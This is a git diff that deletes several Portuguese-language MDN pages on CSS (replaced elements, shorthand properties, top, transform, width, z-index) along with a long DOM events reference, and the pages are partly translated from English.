No CSS, um elemento substituído é um elemento cuja representação está fora do âmbito do CSS. Estes são um tipo de objecto externo cuja representação é independente do CSS. Elementos substituídos típicos são {{HTMLElement("img")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}} ou elementos de formulário como {{HTMLElement("textarea")}} e {{HTMLElement("input")}}Alguns elementos, como {{HTMLElement("audio")}} ou {{HTMLElement("canvas")}} são elementos só em casos específicos substituído.  Objetos inseridos usando as propriedades CSS {{cssxref("content")}} são elementos substituídos anônimos.

- -

CSS manipula elementos substituídos especificamente em alguns casos, como ao calcular margens e alguns valores automáticos.

- -

Note-se que alguns elementos substituído,mas não todos,têm dimensões intrínsecas ou uma linha de base definida (baseline), que é utilizada por algumas propriedades CSS como {{cssxref("vertical-align")}}.

- -

Veja também

- -
    -
  • {{CSS_key_concepts()}}
  • -
diff --git a/files/pt-pt/web/css/shorthand_properties/index.html b/files/pt-pt/web/css/shorthand_properties/index.html deleted file mode 100644 index 8bfb4a4bbc..0000000000 --- a/files/pt-pt/web/css/shorthand_properties/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Propriedades de taquigrafia -slug: Web/CSS/Shorthand_properties -tags: - - CSS - - Guía - - Referencia -translation_of: Web/CSS/Shorthand_properties ---- -
{{cssref}}
- -

Propriedades de taquigrafia são propriedades de CSS que lhe permitem definir simultaneamente os valores de várias outras propriedades de CSS. Ao utilizar uma propriedade de taquigrafia, pode escrever folhas de estilo mais concisas (e muitas vezes mais legíveis), poupando tempo e energia .

- -

The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.

- -

Tricky edge cases

- -

Even if they are very convenient to use, there are a few edge cases to keep in mind when using them:

- -
    -
  1. A value which is not specified is set to its initial value. That sounds anecdotal, but it really means that it overrides previously set values. Therefore: - -
    background-color: red;
    -background: url(images/bg.gif) no-repeat left top;
    -
    - will not set the color of the background to red but to {{cssxref("background-color")}}'s default, transparent, as the second rule has precedence.
  2. -
  3. Only the individual properties values can inherit. As missing values are replaced by their initial value, it is impossible to allow inheritance of individual properties by omitting them. The keyword inherit can be applied to a property, but only as a whole, not as a keyword for one value or another. That means that the only way to make some specific value to be inherited is to use the longhand property with the keyword inherit.
  4. -
  5. Shorthand properties try not to force a specific order for the values of the properties they replace. This works well when these properties use values of different types, as the order has no importance, but this does not work as easily when several properties can have identical values. Handling of these cases are grouped in several categories: -
      -
    1. Shorthands handling properties related to edges of a box, like {{cssxref("border-style")}}, {{cssxref("margin")}} or {{cssxref("padding")}}, always use a consistent 1-to-4-value syntax representing those edges: - - - - - - - - - - - - - - - - - - - -
      border1.pngThe 1-value syntax: border-width: 1em — The unique value represents all edges
      border2.pngThe 2-value syntax: border-width: 1em 2em — The first value represents the vertical, that is top and bottom, edges, the second the horizontal ones, that is the left and right ones.
      border3.pngThe 3-value syntax: border-width: 1em 2em 3em — The first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge
      border4.png -

      The 4-value syntax: border-width: 1em 2em 3em 4em — The four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (The initial letter of Top-Right-Bottom-Left matches the order of the consonant of the word trouble: TRBL)

      -
      -
    2. -
    3. Similarly, shorthands handling properties related to corners of a box, like {{cssxref("border-radius")}}, always use a consistent 1-to-4-value syntax representing those corners: - - - - - - - - - - - - - - - - - - - -
      corner1.pngThe 1-value syntax: border-radius: 1em — The unique value represents all corners
      corner2.pngThe 2-value syntax: border-radius: 1em 2em — The first value represents the top left and bottom right corner, the second the top right and bottom left ones.
      corner3.pngThe 3-value syntax: border-radius: 1em 2em 3em — The first value represents the top left corner, the second the top right and bottom left ones, and the third value the bottom right corner
      corner4.png -

      The 4-value syntax: border-radius: 1em 2em 3em 4em — The four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left.

      -
      -
    4. -
    -
  6. -
- -

Propriedades de segundo plano

- -

A background with the following properties ...

- -
background-color: #000;
-background-image: url(images/bg.gif);
-background-repeat: no-repeat;
-background-position: left top;
- -

... can be shortened to just one declaration:

- -
background: #000 url(images/bg.gif) no-repeat left top;
- -

(The shorthand form is actually the equivalent of the longhand properties above plus background-attachment: scroll and, in CSS3, some additional properties.)

- -

Propriedades de tipo de letra

- -

The following declarations ...

- -
font-style: italic;
-font-weight: bold;
-font-size: .8em;
-line-height: 1.2;
-font-family: Arial, sans-serif;
- -

... can be shortened to the following:

- -
font: italic bold .8em/1.2 Arial, sans-serif;
- -

This shorthand declaration is actually equivalent to the longhand declarations above plus font-variant: normal and font-size-adjust: none (CSS2.0 / CSS3), font-stretch: normal (CSS3).

- -

Propriedades de margem

- -

With borders, the width, color, and style can be simplified into one declaration. For example, the following CSS ...

- -
border-width: 1px;
-border-style: solid;
-border-color: #000;
- -

... can be simplified as:

- -
border: 1px solid #000;
- -

Margin and padding properties

- -

Shorthand versions of margin and padding values work the same way. The following CSS declarations ...

- -
margin-top: 10px;
-margin-right: 5px;
-margin-bottom: 10px;
-margin-left: 5px;
- -

... are the same as the following declaration. Note that the values are in clockwise order, beginning at the top: top, right, bottom, then left (TRBL, the consonants in "trouble").

- -
margin: 10px 5px 10px 5px;
- -

Consulte também

- -
    -
  • {{css_key_concepts}}
  • -
  • Shorthand properties: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}
  • -
diff --git a/files/pt-pt/web/css/top/index.html b/files/pt-pt/web/css/top/index.html deleted file mode 100644 index 3e2f304073..0000000000 --- a/files/pt-pt/web/css/top/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: top -slug: Web/CSS/top -translation_of: Web/CSS/top ---- -

« Referência CSS
-

-

Resumo

-

A propriedade top especifica o posicionamento vertical do elemento de acordo com o topo.

-

Para elementos absolutamente posicionados (com a propriedade position ajustada como absolute ou fixed) especifica a distância apartir a margem superior do objeto (até onde vai o background).

-

Para relativamente posicionados (com a propriedade position ajustada como relative) especifica a distância de acordo com o posicionamento do objeto se a propriedade position fosse qualquer uma que não absolute, relative ou fixed.

-
  • Valor inicial: auto
  • Aplica-se a: Elementos posicionados
  • Herdado: não
  • Porcentagens: Referente a altura do próximo antecedente de posição block
  • Valor computado: distância absoluta, porcentagem ou automático
  • -
-

Sintáxe

-
top: <length> | <percentage> | auto | inherit
-
-

Exemplos

-
<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-<meta http-equiv="Content-Type" content="application/xhtml+xml" />
-<title>Mozilla.org altura, topo, esquerda, largura e direita - CSS</title>
-<style type="text/css">
-/* As medidas de body podem ser mudadas para px para testar o comportamento da div */
-body{
-  width: 100%;
-  height: 100%;
-}
-/* agora a div pode operar com porcentagem (a altura e a largura do body são a referência) */
-div{
-  position: absolute;
-  left: 15%;
-  top: 30%;
-  bottom: 30%;
-  width: 70%;
-  height: 40%;
-  text-align: left;
-  border: 3px #000 solid;
-  background: #CCC;
-}
-</style>
-</head>
-<body>
-<center>
-  <div>...Qualquer conteúdo...</div>
-</center>
-</body>
-</html>
-
-

Notas

-

top é mais relevante que bottom porque o alinhamento vertical padrão é no topo. Com mais propriedades de posicionamento, top torna-se dispensável.

-

Veja mais

-

position, right, bottom, left

diff --git a/files/pt-pt/web/css/transform/index.html b/files/pt-pt/web/css/transform/index.html deleted file mode 100644 index 25f3a546a3..0000000000 --- a/files/pt-pt/web/css/transform/index.html +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: transform -slug: Web/CSS/transform -tags: - - CSS - - Experimental - - NeedsBrowserCompatibility - - Propriedade - - Propriedade de CSS - - Referencia - - Transforms -translation_of: Web/CSS/transform ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

The CSS transform property lets you modify the coordinate space of the CSS visual formatting model. Using it, elements can be translated, rotated, scaled, and skewed.

- -
/* Keyword values */
-transform: none;
-
-/* Function values */
-transform: matrix(1.0, 2.0, 3.0, 4.0, 5.0, 6.0);
-transform: translate(12px, 50%);
-transform: translateX(2em);
-transform: translateY(3in);
-transform: scale(2, 0.5);
-transform: scaleX(2);
-transform: scaleY(0.5);
-transform: rotate(0.5turn);
-transform: skew(30deg, 20deg);
-transform: skewX(30deg);
-transform: skewY(1.07rad);
-transform: matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1);
-transform: translate3d(12px, 50%, 3em);
-transform: translateZ(2px);
-transform: scale3d(2.5, 1.2, 0.3);
-transform: scaleZ(0.3);
-transform: rotate3d(1, 2.0, 3.0, 10deg);
-transform: rotateX(10deg);
-transform: rotateY(10deg);
-transform: rotateZ(10deg);
-transform: perspective(17px);
-
-/* Multiple function values */
-transform: translateX(10px) rotate(10deg) translateY(5px);
-
-/* Global values */
-transform: inherit;
-transform: initial;
-transform: unset;
-
- -

If the property has a value different than none, a stacking context will be created. In that case the object will act as a containing block for position: fixed elements that it contains.

- -

{{cssinfo}}

- -

Sintaxe

- -

The transform property may be specified as either the keyword value none or as one or more <transform-function> values.

- -

Valores

- -
-
<transform-function>
-
One or more of the CSS transform functions to be applied, see below. Composite transforms are effectively applied in order from right to left.
-
none
-
Specifies that no transform should be applied.
-
- -

Formal syntax

- -{{csssyntax}} - -

Exemplos

- -

See Using CSS transforms.

- -

Live example

- -

HTML content

- -
<p>Transformed element</p>
- -

CSS content

- -
p {
-  border: solid red;
-
-  -webkit-transform: translate(100px) rotate(20deg);
-  -webkit-transform-origin: 0 -250px;
-
-  transform: translate(100px) rotate(20deg);
-  transform-origin: 0 -250px;
-}
- -

{{EmbedLiveSample("Live_example", "400", "170")}}

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS Transforms 2', '#transform-functions', 'transform')}}{{Spec2('CSS Transforms 2')}}Adds 3D transform functions.
{{SpecName('CSS3 Transforms', '#transform-property', 'transform')}}{{Spec2('CSS3 Transforms')}}Initial definition
- -

Compatibilidade do navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Suporte básico{{CompatVersionUnknown}} {{property_prefix("-webkit")}}
- 36
{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
- {{CompatVersionUnknown}}
{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}[1]
- {{CompatGeckoDesktop("16.0")}}[2]
9.0{{property_prefix("-ms")}}[3]
- 10.0
10.5{{property_prefix("-o")}}
- 12.10
- 15.0{{property_prefix("-webkit")}}
- 23
3.1{{property_prefix("-webkit")}}
- 9.0
Suporte 3D12.0{{property_prefix("-webkit")}}
- 36
{{CompatVersionUnknown}}10.0{{property_prefix("-moz")}}
- {{CompatGeckoDesktop("16.0")}}
10.015.0{{property_prefix("-webkit")}}
- 23
-

4.0{{property_prefix("-webkit")}}
- 9.0

-
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suporte básico{{CompatAndroid(2.1)}}{{property_prefix("-webkit")}}[4]{{CompatVersionUnknown}}{{property_prefix("-webkit")}}{{CompatVersionUnknown}}{{property_prefix("-webkit")}}
- {{CompatVersionUnknown}}
{{CompatVersionUnknown}}{{CompatVersionUnknown}}
- 11.0{{property_prefix("-webkit")}}[5]
11.5{{property_prefix("-webkit")}}3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}
- 9.0
Suporte 3D{{CompatAndroid(3.0)}}{{property_prefix("-webkit")}}{{CompatVersionUnknown}}{{ property_prefix("-webkit")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}22{{property_prefix("-webkit")}}3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}
- 9.0
-
- -

[1] Gecko 14.0 removed the experimental support for skew(), but it was reintroduced in Gecko 15.0 for compatibility reasons. As it is non-standard and will likely be removed in the future, do not use it.

- -

[2] Before Firefox 16, the translation values of matrix() and matrix3d() could be {{cssxref("<length>")}}, in addition to the standard {{cssxref("<number>")}}.

- -

In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a -webkit prefixed version of the property for web compatibility reasons behind the preference layout.css.prefixes.webkit, defaulting to false. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to true.

- -

[3] Internet Explorer 5.5 or later supports a proprietary Matrix Filter which can be used to achieve a similar effect.

- -

Internet Explorer 9.0 or earlier has no support for 3D transforms. Mixing 3D and 2D transform functions, such as -ms-transform:rotate(10deg) translateZ(0);, will prevent the entire property from being applied.

- -

Internet Explorer does not support the global values initial and unset.

- -

[4] Android 2.3 has a bug where input forms will "jump" when typing, if any container element has a -webkit-transform.

- -

[5] Internet Explorer 11.0 supports the {{property_prefix("-webkit")}} prefixed variant as an alias for the default one.

- -

Consultar também

- - diff --git a/files/pt-pt/web/css/width/index.html b/files/pt-pt/web/css/width/index.html deleted file mode 100644 index f865e76bed..0000000000 --- a/files/pt-pt/web/css/width/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: width -slug: Web/CSS/width -tags: - - Referencia_CSS -translation_of: Web/CSS/width ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade width é usada para configurar a largura dada a um elemento.

- -
    -
  • Valor inicial: auto
  • -
  • Aplica-se a: o nível do bloco e elementos substituídos
  • -
  • Herdado: não
  • -
  • Percentagens: refere-se à largura do bloco que o contém
  • -
  • Mídia: Visual
  • -
- -

Sintaxe

- -
 width: [ <length> || <percentage> ] auto | inherit
-
- -

Valores

- -
    -
  • length : pode ser em px, cm, in, em
  • -
  • percentage : % especificado como uma porcentagem da largura do elemento pai
  • -
  • auto : o navegador calculará e selecionará uma largura para o elemento especificado.
  • -
- -

Exemplos

- -

View Live Examples

- -
table{width: 100%;}
-
-img{width: 200px;}
-
-form{width: auto;}
-
- -

== Notas ==

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Netscape4
Opera3.5
- -

Veja também

- -

box model, {{ Cssxref("height") }}, {{ Cssxref("-moz-box-sizing") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/width", "fr": "fr/CSS/width" } ) }}

diff --git a/files/pt-pt/web/css/z-index/index.html b/files/pt-pt/web/css/z-index/index.html deleted file mode 100644 index 0ff1013362..0000000000 --- a/files/pt-pt/web/css/z-index/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: z-index -slug: Web/CSS/z-index -tags: - - Referencia_CSS -translation_of: Web/CSS/z-index ---- -

-{{ CSSRef() }} -

-

Resumo

-

A propriedade z-index especifica a ordem-z de um elemento e de seus herdeiros. Quando os elementos sobrepõem, a z-ordem determina qual elemento cobre o outro. -

-
  • Valor inicial: auto; -
  • Aplica-se a: elementos posicionados; -
  • Herdado: não; -
  • Mídia: Visual; -
  • Valor computado: como especificado. -
-

Sintaxe

-

z-index: auto | <integer> | inherit -

-

Valores

-
auto 
O elemento é desenhado na mesma ordem-z como um elemento com z-index: 0. Isto não cria uma nova pilha de contexto. -
<integer> 
O elemento é desenhado na ordem-z dada. Isto cria também uma nova pilha de contexto, que significa que todos os descendentes também terão o desenho no mesmo z-index. Dessa forma os z-indexes dos descendentes não são comparados aos z-indexes dos elementos do lado de fora deste elemento. -
-

== Exemplos == -

-

Notas

-

Valores z-index negativos são suportados corretamente iniciando em Gecko 1.9 / Firefox 3. Versões mais antigas implementaram o comportamento do CSS 2, não o comportamento do CSS 2.1 que é compatível com outros navegadores. -

-

Especificações

- -

== Compatibilidade com navegadores == -

-

Veja também

-

{{ Cssxref("position") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/z-index", "fr": "fr/CSS/z-index", "pl": "pl/CSS/z-index" } ) }} diff --git a/files/pt-pt/web/events/index.html b/files/pt-pt/web/events/index.html deleted file mode 100644 index 191f5abb6f..0000000000 --- a/files/pt-pt/web/events/index.html +++ /dev/null @@ -1,3081 +0,0 @@ ---- -title: Referência de Eventos -slug: Web/Events -tags: - - eventos -translation_of: Web/Events -original_slug: Web/Eventos ---- -

Eventos DOM são enviados para notificar o código de coisas interessantes que ocorreram. Cada evento é representado por um objeto que é baseado na interface {{domxref ('Evento')}}, e poderá ter campos e/ou funções personalizadas adicionais utilizadas para obter informação adicional sobre o que aconteceu. Os eventos podem representar tudo, desde interações básicas do utilizador até notificações automáticas de coisas a acontecer no modelo de renderização. .

- -

Este artigo oferece uma lista de eventos que podem ser enviados; alguns são eventos padrão definidos nas especificações oficiais, enquanto outros são eventos utilizadosinternamente pelos navegadores específicos; por exemplo, os eventos específicos da Mozilla são listados para que os extras possam utilizá-los para interagir com o navegador.

- -

Categorias Mais Comuns

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Recurso
Nome do EventoExecutado quando
{{event("cached")}}The resources listed in the manifest have been downloaded, and the application is now cached.
{{event("error")}}A resource failed to load.
{{event("abort")}}The loading of a resource has been aborted.
{{event("load")}}A resource and its dependent resources have finished loading.
{{event("beforeunload")}}The window, the document and its resources are about to be unloaded.
{{event("unload")}}The document or a dependent resource is being unloaded.
- - - - - - - - - - - - - - - - - - - -
Eventos de Rede
Nome do EventoExecutado quando
{{event("online")}}The browser has gained access to the network.
{{event("offline")}}The browser has lost access to the network.
- - - - - - - - - - - - - - - - - - - -
Eventos de Foco
Nome do EventoExecutado quando
{{event("focus")}}An element has received focus (does not bubble).
{{event("blur")}}An element has lost focus (does not bubble).
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Websocket
Nome do EventoExecutado quando
openA WebSocket connection has been established.
messageA message is received through a WebSocket.
{{event("error")}}A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
closeA WebSocket connection has been closed.
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos do Histórico de Sessão
Nome do EventoExecutado quando
{{event("pagehide")}}A session history entry is being traversed from.
{{event("pageshow")}}A session history entry is being traversed to.
{{event("popstate")}}A session history entry is being navigated to (in certain cases).
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Animação de CSS
Nome do EventoExecutado quando
{{event("animationstart")}}A CSS animation has started.
{{event("animationend")}}A CSS animation has completed.
{{event("animationiteration")}}A CSS animation is repeated.
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Transição de CSS
Nome do EventoExecutado quando
{{event("transitionstart")}}A CSS transition has actually started (fired after any delay).
{{event("transitioncancel")}}A CSS transition has been cancelled.
{{event("transitionend")}}A CSS transition has completed.
{{event("transitionrun")}}A CSS transition has began running (fired before any delay starts).
- - - - - - - - - - - - - - - - - - - -
Eventos de Formulário
Nome do EventoExecutado quando
{{event("reset")}}The reset button is pressed
{{event("submit")}}The submit button is pressed
- - - - - - - - - - - - - - - - - - - -
Eventos de Impressão
Nome do EventoExecutado quando
{{event("beforeprint")}}The print dialog is opened
{{event("afterprint")}}The print dialog is closed
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Composição de Texto
Nome do EventoExecutado quando
{{event("compositionstart")}}The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}A character is added to a passage of text being composed.
{{event("compositionend")}}The composition of a passage of text has been completed or canceled.
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Visualização
Nome do EventoExecutado quando
{{event("fullscreenchange")}}An element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("resize")}}The document view has been resized.
{{event("scroll")}}The document view or an element has been scrolled.
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Área de Transferência
Nome do EventoExecutado quando
{{event("cut")}}The selection has been cut and copied to the clipboard
{{event("copy")}}The selection has been copied to the clipboard
{{event("paste")}}The item from the clipboard has been pasted
- - - - - - - - - - - - - - - - - - - - - -
Eventos de Teclado
Nome do EventoExecutado quando
{{event("keydown")}}ANY key is pressed
{{event("keypress")}}ANY key except Shift, Fn, CapsLock is in pressed position. (Fired continously.)
{{event("keyup")}}ANY key is released
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Rato
Nome do EventoExecutado quando
{{event("mouseenter")}}A pointing device is moved onto the element that has the listener attached.
{{event("mouseover")}}A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mousemove")}}A pointing device is moved over an element. (Fired continously as the mouse moves.)
{{event("mousedown")}}A pointing device button is pressed on an element.
{{event("mouseup")}}A pointing device button is released over an element.
{{event("auxclick")}}A pointing device button (ANY non-primary button) has been pressed and released on an element.
{{event("click")}}A pointing device button (ANY button; soon to be primary button only) has been pressed and released on an element.
{{event("dblclick")}}A pointing device button is clicked twice on an element.
{{event("contextmenu")}}The right button of the mouse is clicked (before the context menu is displayed).
{{event("wheel")}}A wheel button of a pointing device is rotated in any direction.
{{event("mouseleave")}}A pointing device is moved off the element that has the listener attached.
{{event("mouseout")}}A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("select")}}Some text is being selected.
{{event("pointerlockchange")}}The pointer was locked or released.
{{event("pointerlockerror")}}It was impossible to lock the pointer for technical reasons or because the permission was denied.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de 'Arrastar e Largar'
Nome do EventoExecutado quando
{{event("dragstart")}}The user starts dragging an element or text selection.
{{event("drag")}}An element or text selection is being dragged (Fired continuously every 350ms).
{{event("dragend")}}A drag operation is being ended (by releasing a mouse button or hitting the escape key).
{{event("dragenter")}}A dragged element or text selection enters a valid drop target.
{{event("dragover")}}An element or text selection is being dragged over a valid drop target. (Fired continuously every 350ms.)
{{event("dragleave")}}A dragged element or text selection leaves a valid drop target.
{{event("drop")}}An element is dropped on a valid drop target.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Média
Nome do EventoExecutado quando
{{event("durationchange")}}The duration attribute has been updated.
{{event("loadedmetadata")}}The metadata has been loaded.
{{event("loadeddata")}}The first frame of the media has finished loading.
{{event("canplay")}}The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}The browser estimates it can play the media up to its end without stopping for content buffering.
{{event("ended")}}Playback has stopped because the end of the media was reached.
{{event("emptied")}}The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("stalled")}}The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("suspend")}}Media data loading has been suspended.
{{event("play")}}Playback has begun.
{{event("playing")}}Playback is ready to start after having been paused or delayed due to lack of data.
{{event("pause")}}Playback has been paused.
{{event("waiting")}}Playback has stopped because of a temporary lack of data.
{{event("seeking")}}A seek operation began.
{{event("seeked")}}A seek operation completed.
{{event("ratechange")}}The playback rate has changed.
{{event("timeupdate")}}The time indicated by the currentTime attribute has been updated.
{{event("volumechange")}}The volume has changed.
{{event("complete")}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("audioprocess")}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Progresso
Nome do EventoExecutado quando
{{event("loadstart")}}Progresso começou.
{{event("progress")}}Em progresso.
{{event("error")}}Progresso falhou.
{{event("timeout")}}Progression is terminated due to preset time expiring.
abortProgression has been terminated (not due to an error).
loadProgression has been successful.
{{event("loadend")}}Progress has stopped (after "error", "abort" or "load" have been dispatched).
- -

Eventos de armazenamento

- -

{{event("change")}} (see {{anch("Non-standard events")}})
- {{event("storage")}}

- -

Eventos de atualização

- -

{{event("checking")}}
- {{event("downloading")}}
- {{event("error")}}
- {{event("noupdate")}}
- {{event("obsolete")}}
- {{event("updateready")}}

- -

Eventos de alteração de valor

- -

{{event("broadcast")}}
- {{event("CheckboxStateChange")}}
- {{event("hashchange")}}
- {{event("input")}}
- {{event("RadioStateChange")}}
- {{event("readystatechange")}}
- {{event("ValueChange")}}

- -

Eventos não categorizados

- -

{{event("invalid")}}
- {{event("localized")}}
- message
- message
- message
- open
- {{event("show")}}

- -

Eventos menos comuns e não padrão

- -

Eventos de Abortable Fetch

- - - - - - - - - - - - - - -
Nome do EventoExecutado quando
{{event("abort_(dom_abort_api)", "abort")}}A DOM request is aborted, i.e. using {{domxref("AbortController.abort()")}}.
- -

Eventos de WebVR

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoExecutado quando
{{event("vrdisplayconnect")}}when a compatible {{domxref("VRDisplay")}} is connected to the computer.
{{event("vrdisplaydisconnect")}}When a compatible {{domxref("VRDisplay")}} is disconnected from the computer.
{{event("vrdisplayactivate")}}When a VR display is able to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
{{event("vrdisplaydeactivate")}}When a {{domxref("VRDisplay")}} can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
{{event("vrdisplayblur")}}when presentation to a {{domxref("VRDisplay")}} has been paused for some reason by the browser, OS, or VR hardware — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
{{event("vrdisplayfocus")}}When presentation to a {{domxref("VRDisplay")}} has resumed after being blurred.
{{event("vrdisplaypresentchange")}}The presenting state of a {{domxref("VRDisplay")}} changes — i.e. goes from presenting to not presenting, or vice versa.
- -

Eventos de SVG

- -

{{event("SVGAbort")}}
- {{event("SVGError")}}
- {{event("SVGLoad")}}
- {{event("SVGResize")}}
- {{event("SVGScroll")}}
- {{event("SVGUnload")}}
- {{event("SVGZoom")}}

- -

Eventos de base de dados

- -

abort
- blocked
- complete
- {{event("error")}} (link)
- success
- upgradeneeded
- versionchange

- -

Eventos de notificação

- -

AlertActive
- AlertClose

- -

Eventos de CSS

- -

CssRuleViewRefreshed
- CssRuleViewChanged
- CssRuleViewCSSLinkClicked
- {{event("transitionend")}}

- -

eventos de script

- -

{{event("afterscriptexecute")}}
- {{event("beforescriptexecute")}}

- -

eventos de menu

- -

{{event("DOMMenuItemActive")}}
- {{event("DOMMenuItemInactive")}}

- -

Eventos de janela

- -

DOMWindowCreated
- DOMTitleChanged
- DOMWindowClose
- SSWindowClosing
- SSWindowStateReady
- SSWindowStateBusy
- close

- -

Eventos de documento

- -

DOMLinkAdded
- DOMLinkRemoved
- DOMMetaAdded
- DOMMetaRemoved
- DOMWillOpenModalDialog
- DOMModalDialogClosed

- -

Eventos de janela (Popup)

- -

{{event("popuphidden")}}
- {{event("popuphiding")}}
- {{event("popupshowing")}}
- {{event("popupshown")}}
- DOMPopupBlocked

- -

Eventos de separador

- -

TabOpen
- TabClose
- TabSelect
- TabShow
- TabHide
- TabPinned
- TabUnpinned
- SSTabClosing
- SSTabRestoring
- SSTabRestored
- {{event("visibilitychange")}}

- -

Eventos de bateria

- -

{{event("chargingchange")}}
- {{event("chargingtimechange")}}
- {{event("dischargingtimechange")}}
- {{event("levelchange")}}

- -

Eventos de chamada

- -

{{event("alerting")}}
- {{event("busy")}}
- {{event("callschanged")}}
- {{event("cfstatechange")}}
- {{event("connected")}}
- {{event("connecting")}}
- {{event("dialing")}}
- {{event("disconnected")}}
- {{event("disconnecting")}}
- {{event("error_(Telephony)","error")}}
- {{event("held")}}, {{event("holding")}}
- {{event("incoming")}}
- {{event("resuming")}}
- {{event("statechange")}}
- {{event("voicechange")}}

- -

Eventos de sensor

- -

{{event("compassneedscalibration")}}
- {{event("devicelight")}}
- {{event("devicemotion")}}
- {{event("deviceorientation")}}
- {{event("deviceproximity")}}
- {{event("MozOrientation")}}
- {{event("orientationchange")}}
- {{event("userproximity")}}

- -

Eventos de Smartcard

- -

{{event("icccardlockerror")}}
- {{event("iccinfochange")}}
- {{event("smartcard-insert")}}
- {{event("smartcard-remove")}}
- {{event("stkcommand")}}
- {{event("stksessionend")}}
- {{event("cardstatechange")}}

- -

Eventos de SMS e USSD

- -

{{event("delivered")}}
- {{event("received")}}
- {{event("sent")}}
- {{event("ussdreceived")}}

- -

Eventos de frame

- -

{{event("mozbrowserclose")}}
